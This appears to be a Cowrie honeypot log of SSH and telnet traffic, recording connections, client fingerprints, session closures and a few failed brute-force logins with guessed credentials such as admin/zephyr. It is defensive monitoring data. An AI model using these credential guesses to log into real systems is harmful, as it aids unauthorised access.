{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:45.675447Z","src_ip":"163.7.6.74","session":"624a134c7ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35374,"dst_ip":"159.203.135.109","dst_port":23,"session":"62288f3e5286","protocol":"telnet","message":"New connection: 69.6.249.0:35374 (159.203.135.109:23) [session: 62288f3e5286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:46.068736Z"}
{"eventid":"cowrie.login.failed","username":"vuser","password":"123456","message":"login attempt [vuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:46.702572Z","src_ip":"163.7.6.74","session":"624a134c7ae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:47.953578Z","src_ip":"163.7.6.74","session":"624a134c7ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35376,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cdcb896ff10","protocol":"telnet","message":"New connection: 69.6.249.0:35376 (159.203.135.109:23) [session: 6cdcb896ff10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:48.580693Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35378,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0aeda6a2b9","protocol":"telnet","message":"New connection: 69.6.249.0:35378 (159.203.135.109:23) [session: cc0aeda6a2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:50.042950Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35388,"dst_ip":"159.203.135.109","dst_port":23,"session":"89022523b920","protocol":"telnet","message":"New connection: 69.6.249.0:35388 (159.203.135.109:23) [session: 89022523b920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:50.311881Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35398,"dst_ip":"159.203.135.109","dst_port":23,"session":"001f050dcf4f","protocol":"telnet","message":"New connection: 69.6.249.0:35398 (159.203.135.109:23) [session: 001f050dcf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:50.889707Z"}
{"eventid":"cowrie.session.closed","duration":32.19590950012207,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:51.607322Z","src_ip":"69.6.249.0","session":"79cf55aaa7bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193095445632935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:51.615755Z","src_ip":"69.6.249.0","session":"cf68e5500946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35410,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1d625e04af8","protocol":"telnet","message":"New connection: 69.6.249.0:35410 (159.203.135.109:23) [session: f1d625e04af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:52.964451Z"}
{"eventid":"cowrie.session.closed","duration":31.337292671203613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:53.932701Z","src_ip":"69.6.249.0","session":"b471bbdde35c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.121768951416016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:56.235344Z","src_ip":"69.6.249.0","session":"86c3f0a6c90e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":43904,"dst_ip":"159.203.135.109","dst_port":23,"session":"3028a6e678d6","protocol":"telnet","message":"New connection: 69.6.249.0:43904 (159.203.135.109:23) [session: 3028a6e678d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:57.985469Z"}
{"eventid":"cowrie.session.closed","duration":31.69821047782898,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:58.173473Z","src_ip":"69.6.249.0","session":"f104ca48c6f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.375173807144165,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:01.209639Z","src_ip":"69.6.249.0","session":"3a1f9a87a0b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":43910,"dst_ip":"159.203.135.109","dst_port":23,"session":"316022320ff5","protocol":"telnet","message":"New connection: 69.6.249.0:43910 (159.203.135.109:23) [session: 316022320ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:01.450726Z"}
{"eventid":"cowrie.session.closed","duration":31.157734394073486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:01.770132Z","src_ip":"69.6.249.0","session":"afba4efbd79e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":43926,"dst_ip":"159.203.135.109","dst_port":23,"session":"5853ed38c561","protocol":"telnet","message":"New connection: 69.6.249.0:43926 (159.203.135.109:23) [session: 5853ed38c561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:02.812710Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":43934,"dst_ip":"159.203.135.109","dst_port":23,"session":"61a52326ddb6","protocol":"telnet","message":"New connection: 69.6.249.0:43934 (159.203.135.109:23) [session: 61a52326ddb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:03.272757Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46012,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f9d11f39b3e","protocol":"telnet","message":"New connection: 69.6.249.0:46012 (159.203.135.109:23) [session: 5f9d11f39b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:04.584116Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46028,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a44b433fb5a","protocol":"telnet","message":"New connection: 69.6.249.0:46028 (159.203.135.109:23) [session: 1a44b433fb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:05.141974Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46038,"dst_ip":"159.203.135.109","dst_port":23,"session":"efdeef75145b","protocol":"telnet","message":"New connection: 69.6.249.0:46038 (159.203.135.109:23) [session: efdeef75145b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:06.749137Z"}
{"eventid":"cowrie.session.closed","duration":32.447320222854614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:11.797616Z","src_ip":"69.6.249.0","session":"c30d0837bcaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46052,"dst_ip":"159.203.135.109","dst_port":23,"session":"35e5aabe81b0","protocol":"telnet","message":"New connection: 69.6.249.0:46052 (159.203.135.109:23) [session: 35e5aabe81b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:11.886215Z"}
{"eventid":"cowrie.session.closed","duration":31.712849855422974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:11.894912Z","src_ip":"69.6.249.0","session":"4daa340dde4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46068,"dst_ip":"159.203.135.109","dst_port":23,"session":"405896b0f947","protocol":"telnet","message":"New connection: 69.6.249.0:46068 (159.203.135.109:23) [session: 405896b0f947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:13.774980Z"}
{"eventid":"cowrie.session.closed","duration":31.163879871368408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:16.108583Z","src_ip":"69.6.249.0","session":"019f3a9c3c6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59148,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdf0a7ca3d71","protocol":"telnet","message":"New connection: 69.6.249.0:59148 (159.203.135.109:23) [session: bdf0a7ca3d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:16.344138Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55660,"dst_ip":"159.203.135.109","dst_port":22,"session":"071938439869","protocol":"ssh","message":"New connection: 80.94.92.186:55660 (159.203.135.109:22) [session: 071938439869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:16.731389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:16.863622Z","src_ip":"80.94.92.186","session":"071938439869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:16.867674Z","src_ip":"80.94.92.186","session":"071938439869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59164,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc180d99f061","protocol":"telnet","message":"New connection: 69.6.249.0:59164 (159.203.135.109:23) [session: bc180d99f061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:17.446676Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:18.119095Z","src_ip":"80.94.92.186","session":"071938439869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.637924909591675,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:18.706549Z","src_ip":"69.6.249.0","session":"62288f3e5286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:19.494848Z","src_ip":"80.94.92.186","session":"071938439869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.191858291625977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:19.772428Z","src_ip":"69.6.249.0","session":"6cdcb896ff10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59293484687805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:20.904734Z","src_ip":"69.6.249.0","session":"89022523b920","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.962003231048584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:22.004836Z","src_ip":"69.6.249.0","session":"cc0aeda6a2b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46494483947754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:22.354517Z","src_ip":"69.6.249.0","session":"001f050dcf4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59170,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e7f19e93d27","protocol":"telnet","message":"New connection: 69.6.249.0:59170 (159.203.135.109:23) [session: 9e7f19e93d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:24.009669Z"}
{"eventid":"cowrie.session.closed","duration":31.171905517578125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:24.136253Z","src_ip":"69.6.249.0","session":"f1d625e04af8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59182,"dst_ip":"159.203.135.109","dst_port":23,"session":"d645327b362b","protocol":"telnet","message":"New connection: 69.6.249.0:59182 (159.203.135.109:23) [session: d645327b362b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:24.241407Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37406,"dst_ip":"159.203.135.109","dst_port":23,"session":"17b2237d0089","protocol":"telnet","message":"New connection: 69.6.249.0:37406 (159.203.135.109:23) [session: 17b2237d0089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:25.777922Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37418,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec90f75ae46","protocol":"telnet","message":"New connection: 69.6.249.0:37418 (159.203.135.109:23) [session: bec90f75ae46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:29.634019Z"}
{"eventid":"cowrie.session.closed","duration":32.5674889087677,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:30.552834Z","src_ip":"69.6.249.0","session":"3028a6e678d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.283987283706665,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:33.734580Z","src_ip":"69.6.249.0","session":"316022320ff5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79471731185913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:35.067339Z","src_ip":"69.6.249.0","session":"61a52326ddb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84245729446411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:35.426462Z","src_ip":"69.6.249.0","session":"5f9d11f39b3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02889585494995,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:35.841480Z","src_ip":"69.6.249.0","session":"5853ed38c561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1657235622406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:36.307388Z","src_ip":"69.6.249.0","session":"1a44b433fb5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34480,"dst_ip":"159.203.135.109","dst_port":23,"session":"872c4c27bee5","protocol":"telnet","message":"New connection: 69.6.249.0:34480 (159.203.135.109:23) [session: 872c4c27bee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:37.826883Z"}
{"eventid":"cowrie.session.closed","duration":61.286431550979614,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:38.661592Z","src_ip":"212.55.149.117","session":"e313d25c9479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34494,"dst_ip":"159.203.135.109","dst_port":23,"session":"0adc42ebfb74","protocol":"telnet","message":"New connection: 69.6.249.0:34494 (159.203.135.109:23) [session: 0adc42ebfb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:38.733712Z"}
{"eventid":"cowrie.session.closed","duration":32.12941932678223,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:38.878425Z","src_ip":"69.6.249.0","session":"efdeef75145b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":30999,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a346506f67","protocol":"telnet","message":"New connection: 212.55.149.117:30999 (10.17.0.5:23) [session: b2a346506f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:39.446494Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34496,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f672dcfa802","protocol":"telnet","message":"New connection: 69.6.249.0:34496 (159.203.135.109:23) [session: 2f672dcfa802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:41.266405Z"}
{"eventid":"cowrie.session.closed","duration":31.17245054244995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:43.058518Z","src_ip":"69.6.249.0","session":"35e5aabe81b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.167206287384033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:44.942062Z","src_ip":"69.6.249.0","session":"405896b0f947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":54984,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c8333b488c9","protocol":"telnet","message":"New connection: 69.6.249.0:54984 (159.203.135.109:23) [session: 6c8333b488c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:45.810796Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":54998,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0559a492b7d","protocol":"telnet","message":"New connection: 69.6.249.0:54998 (159.203.135.109:23) [session: e0559a492b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:48.271577Z"}
{"eventid":"cowrie.session.closed","duration":31.15879774093628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:48.605368Z","src_ip":"69.6.249.0","session":"bc180d99f061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54637956619263,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:48.889943Z","src_ip":"69.6.249.0","session":"bdf0a7ca3d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":55000,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e967633a851","protocol":"telnet","message":"New connection: 69.6.249.0:55000 (159.203.135.109:23) [session: 3e967633a851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:49.284521Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":45766,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ef732cd6346","protocol":"ssh","message":"New connection: 163.7.6.74:45766 (159.203.135.109:22) [session: 4ef732cd6346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:51.489341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:51.494294Z","src_ip":"163.7.6.74","session":"4ef732cd6346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:51.749843Z","src_ip":"163.7.6.74","session":"4ef732cd6346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zephyr","message":"login attempt [admin/zephyr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:52.810972Z","src_ip":"163.7.6.74","session":"4ef732cd6346","protocol":"ssh"}
